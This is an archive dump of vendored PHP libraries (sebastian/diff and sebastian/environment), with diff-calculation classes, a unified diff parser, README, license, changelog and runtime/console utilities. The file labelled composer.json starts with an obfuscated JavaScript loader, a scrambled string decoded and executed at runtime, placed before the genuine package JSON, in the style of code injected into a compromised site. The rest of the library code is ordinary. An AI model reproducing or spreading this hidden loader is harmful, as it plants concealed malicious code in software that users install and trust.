$diff[] = [$token, self::OLD]; } if ($this->detectUnmatchedLineEndings($diff)) { array_unshift($diff, ["#Warning: Strings contain different line endings!\n", self::DIFF_LINE_END_WARNING]); } return $diff; } /** * Casts variable to string if it is not a string or array. * * @return array|string */ private function normalizeDiffInput($input) { if (!is_array($input) && !is_string($input)) { return (string) $input; } return $input; } /** * Checks if input is string, if so it will split it line-by-line. */ private function splitStringByLines(string $input): array { return preg_split('/(.*\R)/', $input, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); } private function selectLcsImplementation(array $from, array $to): LongestCommonSubsequenceCalculator { // We do not want to use the time-efficient implementation if its memory // footprint will probably exceed this value. Note that the footprint // calculation is only an estimation for the matrix and the LCS method // will typically allocate a bit more memory than this. $memoryLimit = 100 * 1024 * 1024; if ($this->calculateEstimatedFootprint($from, $to) > $memoryLimit) { return new MemoryEfficientLongestCommonSubsequenceCalculator; } return new TimeEfficientLongestCommonSubsequenceCalculator; } /** * Calculates the estimated memory footprint for the DP-based method. * * @return float|int */ private function calculateEstimatedFootprint(array $from, array $to) { $itemSize = PHP_INT_SIZE === 4 ? 76 : 144; return $itemSize * min(count($from), count($to)) ** 2; } /** * Returns true if line ends don't match in a diff. */ private function detectUnmatchedLineEndings(array $diff): bool { $newLineBreaks = ['' => true]; $oldLineBreaks = ['' => true]; foreach ($diff as $entry) { if (self::OLD === $entry[1]) { $ln = $this->getLinebreak($entry[0]); $oldLineBreaks[$ln] = true; $newLineBreaks[$ln] = true; } elseif (self::ADDED === $entry[1]) { $newLineBreaks[$this->getLinebreak($entry[0])] = true; } elseif (self::REMOVED === $entry[1]) { $oldLineBreaks[$this->getLinebreak($entry[0])] = true; } } // if either input or output is a single line without breaks than no warning should be raised if (['' => true] === $newLineBreaks || ['' => true] === $oldLineBreaks) { return false; } // two way compare foreach ($newLineBreaks as $break => $set) { if (!isset($oldLineBreaks[$break])) { return true; } } foreach ($oldLineBreaks as $break => $set) { if (!isset($newLineBreaks[$break])) { return true; } } return false; } private function getLinebreak($line): string { if (!is_string($line)) { return ''; } $lc = substr($line, -1); if ("\r" === $lc) { return "\r"; } if ("\n" !== $lc) { return ''; } if ("\r\n" === substr($line, -2)) { return "\r\n"; } return "\n"; } private static function getArrayDiffParted(array &$from, array &$to): array { $start = []; $end = []; reset($to); foreach ($from as $k => $v) { $toK = key($to); if ($toK === $k && $v === $to[$k]) { $start[$k] = $v; unset($from[$k], $to[$k]); } else { break; } } end($from); end($to); do { $fromK = key($from); $toK = key($to); if (null === $fromK || null === $toK || current($from) !== current($to)) { break; } prev($from); prev($to); $end = [$fromK => $from[$fromK]] + $end; unset($from[$fromK], $to[$toK]); } while (true); return [$from, $to, $start, $end]; } } res/readability/vendor/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php000064400000003534147577714370026774 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use function array_reverse; use function count; use function max; use SplFixedArray; final class TimeEfficientLongestCommonSubsequenceCalculator implements LongestCommonSubsequenceCalculator { /** * {@inheritdoc} */ public function calculate(array $from, array $to): array { $common = []; $fromLength = count($from); $toLength = count($to); $width = $fromLength + 1; $matrix = new SplFixedArray($width * ($toLength + 1)); for ($i = 0; $i <= $fromLength; ++$i) { $matrix[$i] = 0; } for ($j = 0; $j <= $toLength; ++$j) { $matrix[$j * $width] = 0; } for ($i = 1; $i <= $fromLength; ++$i) { for ($j = 1; $j <= $toLength; ++$j) { $o = ($j * $width) + $i; $matrix[$o] = max( $matrix[$o - 1], $matrix[$o - $width], $from[$i - 1] === $to[$j - 1] ? $matrix[$o - $width - 1] + 1 : 0 ); } } $i = $fromLength; $j = $toLength; while ($i > 0 && $j > 0) { if ($from[$i - 1] === $to[$j - 1]) { $common[] = $from[$i - 1]; --$i; --$j; } else { $o = ($j * $width) + $i; if ($matrix[$o - $width] > $matrix[$o - 1]) { --$j; } else { --$i; } } } return array_reverse($common); } } res/readability/vendor/sebastian/diff/src/Chunk.php000064400000003154147577714370016405 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; final class Chunk { /** * @var int */ private $start; /** * @var int */ private $startRange; /** * @var int */ private $end; /** * @var int */ private $endRange; /** * @var Line[] */ private $lines; public function __construct(int $start = 0, int $startRange = 1, int $end = 0, int $endRange = 1, array $lines = []) { $this->start = $start; $this->startRange = $startRange; $this->end = $end; $this->endRange = $endRange; $this->lines = $lines; } public function getStart(): int { return $this->start; } public function getStartRange(): int { return $this->startRange; } public function getEnd(): int { return $this->end; } public function getEndRange(): int { return $this->endRange; } /** * @return Line[] */ public function getLines(): array { return $this->lines; } /** * @param Line[] $lines */ public function setLines(array $lines): void { foreach ($lines as $line) { if (!$line instanceof Line) { throw new InvalidArgumentException; } } $this->lines = $lines; } } res/readability/vendor/sebastian/diff/src/Parser.php000064400000006026147577714370016572 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use function array_pop; use function count; use function max; use function preg_match; use function preg_split; /** * Unified diff parser. */ final class Parser { /** * @return Diff[] */ public function parse(string $string): array { $lines = preg_split('(\r\n|\r|\n)', $string); if (!empty($lines) && $lines[count($lines) - 1] === '') { array_pop($lines); } $lineCount = count($lines); $diffs = []; $diff = null; $collected = []; for ($i = 0; $i < $lineCount; ++$i) { if (preg_match('#^---\h+"?(?P[^\\v\\t"]+)#', $lines[$i], $fromMatch) && preg_match('#^\\+\\+\\+\\h+"?(?P[^\\v\\t"]+)#', $lines[$i + 1], $toMatch)) { if ($diff !== null) { $this->parseFileDiff($diff, $collected); $diffs[] = $diff; $collected = []; } $diff = new Diff($fromMatch['file'], $toMatch['file']); ++$i; } else { if (preg_match('/^(?:diff --git |index [\da-f\.]+|[+-]{3} [ab])/', $lines[$i])) { continue; } $collected[] = $lines[$i]; } } if ($diff !== null && count($collected)) { $this->parseFileDiff($diff, $collected); $diffs[] = $diff; } return $diffs; } private function parseFileDiff(Diff $diff, array $lines): void { $chunks = []; $chunk = null; $diffLines = []; foreach ($lines as $line) { if (preg_match('/^@@\s+-(?P\d+)(?:,\s*(?P\d+))?\s+\+(?P\d+)(?:,\s*(?P\d+))?\s+@@/', $line, $match)) { $chunk = new Chunk( (int) $match['start'], isset($match['startrange']) ? max(1, (int) $match['startrange']) : 1, (int) $match['end'], isset($match['endrange']) ? max(1, (int) $match['endrange']) : 1 ); $chunks[] = $chunk; $diffLines = []; continue; } if (preg_match('/^(?P[+ -])?(?P.*)/', $line, $match)) { $type = Line::UNCHANGED; if ($match['type'] === '+') { $type = Line::ADDED; } elseif ($match['type'] === '-') { $type = Line::REMOVED; } $diffLines[] = new Line($type, $match['line']); if (null !== $chunk) { $chunk->setLines($diffLines); } } } $diff->setChunks($chunks); } } res/readability/vendor/sebastian/diff/src/Diff.php000064400000002151147577714370016201 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; final class Diff { /** * @var string */ private $from; /** * @var string */ private $to; /** * @var Chunk[] */ private $chunks; /** * @param Chunk[] $chunks */ public function __construct(string $from, string $to, array $chunks = []) { $this->from = $from; $this->to = $to; $this->chunks = $chunks; } public function getFrom(): string { return $this->from; } public function getTo(): string { return $this->to; } /** * @return Chunk[] */ public function getChunks(): array { return $this->chunks; } /** * @param Chunk[] $chunks */ public function setChunks(array $chunks): void { $this->chunks = $chunks; } } res/readability/vendor/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php000064400000004355147577714370027350 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use function array_fill; use function array_merge; use function array_reverse; use function array_slice; use function count; use function in_array; use function max; final class MemoryEfficientLongestCommonSubsequenceCalculator implements LongestCommonSubsequenceCalculator { /** * {@inheritdoc} */ public function calculate(array $from, array $to): array { $cFrom = count($from); $cTo = count($to); if ($cFrom === 0) { return []; } if ($cFrom === 1) { if (in_array($from[0], $to, true)) { return [$from[0]]; } return []; } $i = (int) ($cFrom / 2); $fromStart = array_slice($from, 0, $i); $fromEnd = array_slice($from, $i); $llB = $this->length($fromStart, $to); $llE = $this->length(array_reverse($fromEnd), array_reverse($to)); $jMax = 0; $max = 0; for ($j = 0; $j <= $cTo; $j++) { $m = $llB[$j] + $llE[$cTo - $j]; if ($m >= $max) { $max = $m; $jMax = $j; } } $toStart = array_slice($to, 0, $jMax); $toEnd = array_slice($to, $jMax); return array_merge( $this->calculate($fromStart, $toStart), $this->calculate($fromEnd, $toEnd) ); } private function length(array $from, array $to): array { $current = array_fill(0, count($to) + 1, 0); $cFrom = count($from); $cTo = count($to); for ($i = 0; $i < $cFrom; $i++) { $prev = $current; for ($j = 0; $j < $cTo; $j++) { if ($from[$i] === $to[$j]) { $current[$j + 1] = $prev[$j] + 1; } else { $current[$j + 1] = max($current[$j], $prev[$j + 1]); } } } return $current; } } res/readability/vendor/sebastian/diff/README.md000064400000017043147577714370015316 0ustar00# sebastian/diff [![CI Status](https://github.com/sebastianbergmann/diff/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/diff/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/diff/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/diff) Diff implementation for PHP, factored out of PHPUnit into a stand-alone component. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/diff ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/diff ``` ### Usage #### Generating diff The `Differ` class can be used to generate a textual representation of the difference between two strings: ```php diff('foo', 'bar'); ``` The code above yields the output below: ```diff --- Original +++ New @@ @@ -foo +bar ``` There are three output builders available in this package: #### UnifiedDiffOutputBuilder This is default builder, which generates the output close to udiff and is used by PHPUnit. ```php diff('foo', 'bar'); ``` #### StrictUnifiedDiffOutputBuilder Generates (strict) Unified diff's (unidiffs) with hunks, similar to `diff -u` and compatible with `patch` and `git apply`. ```php true, // ranges of length one are rendered with the trailing `,1` 'commonLineThreshold' => 6, // number of same lines before ending a new hunk and creating a new one (if needed) 'contextLines' => 3, // like `diff: -u, -U NUM, --unified[=NUM]`, for patch/git apply compatibility best to keep at least @ 3 'fromFile' => null, 'fromFileDate' => null, 'toFile' => null, 'toFileDate' => null, ]); $differ = new Differ($builder); print $differ->diff('foo', 'bar'); ``` #### DiffOnlyOutputBuilder Output only the lines that differ. ```php diff('foo', 'bar'); ``` #### DiffOutputBuilderInterface You can pass any output builder to the `Differ` class as longs as it implements the `DiffOutputBuilderInterface`. #### Parsing diff The `Parser` class can be used to parse a unified diff into an object graph: ```php use SebastianBergmann\Diff\Parser; use SebastianBergmann\Git; $git = new Git('/usr/local/src/money'); $diff = $git->getDiff( '948a1a07768d8edd10dcefa8315c1cbeffb31833', 'c07a373d2399f3e686234c4f7f088d635eb9641b' ); $parser = new Parser; print_r($parser->parse($diff)); ``` The code above yields the output below: Array ( [0] => SebastianBergmann\Diff\Diff Object ( [from:SebastianBergmann\Diff\Diff:private] => a/tests/MoneyTest.php [to:SebastianBergmann\Diff\Diff:private] => b/tests/MoneyTest.php [chunks:SebastianBergmann\Diff\Diff:private] => Array ( [0] => SebastianBergmann\Diff\Chunk Object ( [start:SebastianBergmann\Diff\Chunk:private] => 87 [startRange:SebastianBergmann\Diff\Chunk:private] => 7 [end:SebastianBergmann\Diff\Chunk:private] => 87 [endRange:SebastianBergmann\Diff\Chunk:private] => 7 [lines:SebastianBergmann\Diff\Chunk:private] => Array ( [0] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => * @covers SebastianBergmann\Money\Money::add ) [1] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => * @covers SebastianBergmann\Money\Money::newMoney ) [2] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => */ ) [3] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 2 [content:SebastianBergmann\Diff\Line:private] => public function testAnotherMoneyWithSameCurrencyObjectCanBeAdded() ) [4] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 1 [content:SebastianBergmann\Diff\Line:private] => public function testAnotherMoneyObjectWithSameCurrencyCanBeAdded() ) [5] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => { ) [6] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => $a = new Money(1, new Currency('EUR')); ) [7] => SebastianBergmann\Diff\Line Object ( [type:SebastianBergmann\Diff\Line:private] => 3 [content:SebastianBergmann\Diff\Line:private] => $b = new Money(2, new Currency('EUR')); ) ) ) ) ) ) res/readability/vendor/sebastian/diff/LICENSE000064400000003015147577714370015036 0ustar00sebastian/diff Copyright (c) 2002-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/diff/composer.json000064400000007712147577714370016563 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/diff", "description": "Diff implementation", "keywords": ["diff", "udiff", "unidiff", "unified diff"], "homepage": "https://github.com/sebastianbergmann/diff", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Kore Nordmann", "email": "mail@kore-nordmann.de" } ], "prefer-stable": true, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3", "symfony/process": "^4.2 || ^5" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/" ] }, "extra": { "branch-alias": { "dev-master": "4.0-dev" } } } res/readability/vendor/sebastian/diff/ChangeLog.md000064400000004661147577714370016212 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [4.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\Diff\Exception` now correctly extends `\Throwable` ## [4.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.2] - 2020-06-30 ### Added * This component is now supported on PHP 8 ## [4.0.1] - 2020-05-08 ### Fixed * [#99](https://github.com/sebastianbergmann/diff/pull/99): Regression in unified diff output of identical strings ## [4.0.0] - 2020-02-07 ### Removed * Removed support for PHP 7.1 and PHP 7.2 ## [3.0.2] - 2019-02-04 ### Changed * `Chunk::setLines()` now ensures that the `$lines` array only contains `Line` objects ## [3.0.1] - 2018-06-10 ### Fixed * Removed `"minimum-stability": "dev",` from `composer.json` ## [3.0.0] - 2018-02-01 * The `StrictUnifiedDiffOutputBuilder` implementation of the `DiffOutputBuilderInterface` was added ### Changed * The default `DiffOutputBuilderInterface` implementation now generates context lines (unchanged lines) ### Removed * Removed support for PHP 7.0 ### Fixed * [#70](https://github.com/sebastianbergmann/diff/issues/70): Diffing of arrays no longer works ## [2.0.1] - 2017-08-03 ### Fixed * [#66](https://github.com/sebastianbergmann/diff/pull/66): Restored backwards compatibility for PHPUnit 6.1.4, 6.2.0, 6.2.1, 6.2.2, and 6.2.3 ## [2.0.0] - 2017-07-11 [YANKED] ### Added * [#64](https://github.com/sebastianbergmann/diff/pull/64): Show line numbers for chunks of a diff ### Removed * This component is no longer supported on PHP 5.6 [4.0.4]: https://github.com/sebastianbergmann/diff/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/diff/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/diff/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/diff/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/diff/compare/3.0.2...4.0.0 [3.0.2]: https://github.com/sebastianbergmann/diff/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/diff/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/diff/compare/2.0...3.0.0 [2.0.1]: https://github.com/sebastianbergmann/diff/compare/c341c98ce083db77f896a0aa64f5ee7652915970...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/diff/compare/1.4...c341c98ce083db77f896a0aa64f5ee7652915970 res/readability/vendor/sebastian/environment/src/Runtime.php000064400000020117147577714370020412 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Environment; use const PHP_BINARY; use const PHP_BINDIR; use const PHP_MAJOR_VERSION; use const PHP_SAPI; use const PHP_VERSION; use function array_map; use function array_merge; use function defined; use function escapeshellarg; use function explode; use function extension_loaded; use function getenv; use function ini_get; use function is_readable; use function parse_ini_file; use function php_ini_loaded_file; use function php_ini_scanned_files; use function phpversion; use function sprintf; use function strpos; /** * Utility class for HHVM/PHP environment handling. */ final class Runtime { /** * @var string */ private static $binary; /** * Returns true when Xdebug or PCOV is available or * the runtime used is PHPDBG. */ public function canCollectCodeCoverage(): bool { return $this->hasXdebug() || $this->hasPCOV() || $this->hasPHPDBGCodeCoverage(); } /** * Returns true when Zend OPcache is loaded, enabled, * and is configured to discard comments. */ public function discardsComments(): bool { if (!$this->isOpcacheActive()) { return false; } if (ini_get('opcache.save_comments') !== '0') { return false; } return true; } /** * Returns true when Zend OPcache is loaded, enabled, * and is configured to perform just-in-time compilation. */ public function performsJustInTimeCompilation(): bool { if (PHP_MAJOR_VERSION < 8) { return false; } if (!$this->isOpcacheActive()) { return false; } if (strpos(ini_get('opcache.jit'), '0') === 0) { return false; } return true; } /** * Returns the path to the binary of the current runtime. * Appends ' --php' to the path when the runtime is HHVM. */ public function getBinary(): string { // HHVM if (self::$binary === null && $this->isHHVM()) { // @codeCoverageIgnoreStart if ((self::$binary = getenv('PHP_BINARY')) === false) { self::$binary = PHP_BINARY; } self::$binary = escapeshellarg(self::$binary) . ' --php' . ' -d hhvm.php7.all=1'; // @codeCoverageIgnoreEnd } if (self::$binary === null && PHP_BINARY !== '') { self::$binary = escapeshellarg(PHP_BINARY); } if (self::$binary === null) { // @codeCoverageIgnoreStart $possibleBinaryLocations = [ PHP_BINDIR . '/php', PHP_BINDIR . '/php-cli.exe', PHP_BINDIR . '/php.exe', ]; foreach ($possibleBinaryLocations as $binary) { if (is_readable($binary)) { self::$binary = escapeshellarg($binary); break; } } // @codeCoverageIgnoreEnd } if (self::$binary === null) { // @codeCoverageIgnoreStart self::$binary = 'php'; // @codeCoverageIgnoreEnd } return self::$binary; } public function getNameWithVersion(): string { return $this->getName() . ' ' . $this->getVersion(); } public function getNameWithVersionAndCodeCoverageDriver(): string { if (!$this->canCollectCodeCoverage() || $this->hasPHPDBGCodeCoverage()) { return $this->getNameWithVersion(); } if ($this->hasPCOV()) { return sprintf( '%s with PCOV %s', $this->getNameWithVersion(), phpversion('pcov') ); } if ($this->hasXdebug()) { return sprintf( '%s with Xdebug %s', $this->getNameWithVersion(), phpversion('xdebug') ); } } public function getName(): string { if ($this->isHHVM()) { // @codeCoverageIgnoreStart return 'HHVM'; // @codeCoverageIgnoreEnd } if ($this->isPHPDBG()) { // @codeCoverageIgnoreStart return 'PHPDBG'; // @codeCoverageIgnoreEnd } return 'PHP'; } public function getVendorUrl(): string { if ($this->isHHVM()) { // @codeCoverageIgnoreStart return 'http://hhvm.com/'; // @codeCoverageIgnoreEnd } return 'https://secure.php.net/'; } public function getVersion(): string { if ($this->isHHVM()) { // @codeCoverageIgnoreStart return HHVM_VERSION; // @codeCoverageIgnoreEnd } return PHP_VERSION; } /** * Returns true when the runtime used is PHP and Xdebug is loaded. */ public function hasXdebug(): bool { return ($this->isPHP() || $this->isHHVM()) && extension_loaded('xdebug'); } /** * Returns true when the runtime used is HHVM. */ public function isHHVM(): bool { return defined('HHVM_VERSION'); } /** * Returns true when the runtime used is PHP without the PHPDBG SAPI. */ public function isPHP(): bool { return !$this->isHHVM() && !$this->isPHPDBG(); } /** * Returns true when the runtime used is PHP with the PHPDBG SAPI. */ public function isPHPDBG(): bool { return PHP_SAPI === 'phpdbg' && !$this->isHHVM(); } /** * Returns true when the runtime used is PHP with the PHPDBG SAPI * and the phpdbg_*_oplog() functions are available (PHP >= 7.0). */ public function hasPHPDBGCodeCoverage(): bool { return $this->isPHPDBG(); } /** * Returns true when the runtime used is PHP with PCOV loaded and enabled. */ public function hasPCOV(): bool { return $this->isPHP() && extension_loaded('pcov') && ini_get('pcov.enabled'); } /** * Parses the loaded php.ini file (if any) as well as all * additional php.ini files from the additional ini dir for * a list of all configuration settings loaded from files * at startup. Then checks for each php.ini setting passed * via the `$values` parameter whether this setting has * been changed at runtime. Returns an array of strings * where each string has the format `key=value` denoting * the name of a changed php.ini setting with its new value. * * @return string[] */ public function getCurrentSettings(array $values): array { $diff = []; $files = []; if ($file = php_ini_loaded_file()) { $files[] = $file; } if ($scanned = php_ini_scanned_files()) { $files = array_merge( $files, array_map( 'trim', explode(",\n", $scanned) ) ); } foreach ($files as $ini) { $config = parse_ini_file($ini, true); foreach ($values as $value) { $set = ini_get($value); if (empty($set)) { continue; } if ((!isset($config[$value]) || ($set !== $config[$value]))) { $diff[$value] = sprintf('%s=%s', $value, $set); } } } return $diff; } private function isOpcacheActive(): bool { if (!extension_loaded('Zend OPcache')) { return false; } if ((PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') && ini_get('opcache.enable_cli') === '1') { return true; } if (PHP_SAPI !== 'cli' && PHP_SAPI !== 'phpdbg' && ini_get('opcache.enable') === '1') { return true; } return false; } } res/readability/vendor/sebastian/environment/src/OperatingSystem.php000064400000002342147577714370022124 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Environment; use const DIRECTORY_SEPARATOR; use const PHP_OS; use const PHP_OS_FAMILY; use function defined; final class OperatingSystem { /** * Returns PHP_OS_FAMILY (if defined (which it is on PHP >= 7.2)). * Returns a string (compatible with PHP_OS_FAMILY) derived from PHP_OS otherwise. */ public function getFamily(): string { if (defined('PHP_OS_FAMILY')) { return PHP_OS_FAMILY; } if (DIRECTORY_SEPARATOR === '\\') { return 'Windows'; } switch (PHP_OS) { case 'Darwin': return 'Darwin'; case 'DragonFly': case 'FreeBSD': case 'NetBSD': case 'OpenBSD': return 'BSD'; case 'Linux': return 'Linux'; case 'SunOS': return 'Solaris'; default: return 'Unknown'; } } } res/readability/vendor/sebastian/environment/src/Console.php000064400000012132147577714370020367 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Environment; use const DIRECTORY_SEPARATOR; use const STDIN; use const STDOUT; use function defined; use function fclose; use function fstat; use function function_exists; use function getenv; use function is_resource; use function is_string; use function posix_isatty; use function preg_match; use function proc_close; use function proc_open; use function sapi_windows_vt100_support; use function shell_exec; use function stream_get_contents; use function stream_isatty; use function trim; final class Console { /** * @var int */ public const STDIN = 0; /** * @var int */ public const STDOUT = 1; /** * @var int */ public const STDERR = 2; /** * Returns true if STDOUT supports colorization. * * This code has been copied and adapted from * Symfony\Component\Console\Output\StreamOutput. */ public function hasColorSupport(): bool { if ('Hyper' === getenv('TERM_PROGRAM')) { return true; } if ($this->isWindows()) { // @codeCoverageIgnoreStart return (defined('STDOUT') && function_exists('sapi_windows_vt100_support') && @sapi_windows_vt100_support(STDOUT)) || false !== getenv('ANSICON') || 'ON' === getenv('ConEmuANSI') || 'xterm' === getenv('TERM'); // @codeCoverageIgnoreEnd } if (!defined('STDOUT')) { // @codeCoverageIgnoreStart return false; // @codeCoverageIgnoreEnd } return $this->isInteractive(STDOUT); } /** * Returns the number of columns of the terminal. * * @codeCoverageIgnore */ public function getNumberOfColumns(): int { if (!$this->isInteractive(defined('STDIN') ? STDIN : self::STDIN)) { return 80; } if ($this->isWindows()) { return $this->getNumberOfColumnsWindows(); } return $this->getNumberOfColumnsInteractive(); } /** * Returns if the file descriptor is an interactive terminal or not. * * Normally, we want to use a resource as a parameter, yet sadly it's not always awailable, * eg when running code in interactive console (`php -a`), STDIN/STDOUT/STDERR constants are not defined. * * @param int|resource $fileDescriptor */ public function isInteractive($fileDescriptor = self::STDOUT): bool { if (is_resource($fileDescriptor)) { // These functions require a descriptor that is a real resource, not a numeric ID of it if (function_exists('stream_isatty') && @stream_isatty($fileDescriptor)) { return true; } // Check if formatted mode is S_IFCHR if (function_exists('fstat') && @stream_isatty($fileDescriptor)) { $stat = @fstat(STDOUT); return $stat ? 0020000 === ($stat['mode'] & 0170000) : false; } return false; } return function_exists('posix_isatty') && @posix_isatty($fileDescriptor); } private function isWindows(): bool { return DIRECTORY_SEPARATOR === '\\'; } /** * @codeCoverageIgnore */ private function getNumberOfColumnsInteractive(): int { if (function_exists('shell_exec') && preg_match('#\d+ (\d+)#', shell_exec('stty size') ?: '', $match) === 1) { if ((int) $match[1] > 0) { return (int) $match[1]; } } if (function_exists('shell_exec') && preg_match('#columns = (\d+);#', shell_exec('stty') ?: '', $match) === 1) { if ((int) $match[1] > 0) { return (int) $match[1]; } } return 80; } /** * @codeCoverageIgnore */ private function getNumberOfColumnsWindows(): int { $ansicon = getenv('ANSICON'); $columns = 80; if (is_string($ansicon) && preg_match('/^(\d+)x\d+ \(\d+x(\d+)\)$/', trim($ansicon), $matches)) { $columns = (int) $matches[1]; } elseif (function_exists('proc_open')) { $process = proc_open( 'mode CON', [ 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ], $pipes, null, null, ['suppress_errors' => true] ); if (is_resource($process)) { $info = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/', $info, $matches)) { $columns = (int) $matches[2]; } } } return $columns - 1; } } res/readability/vendor/sebastian/environment/README.md000064400000001750147577714370016750 0ustar00# sebastian/environment [![Latest Stable 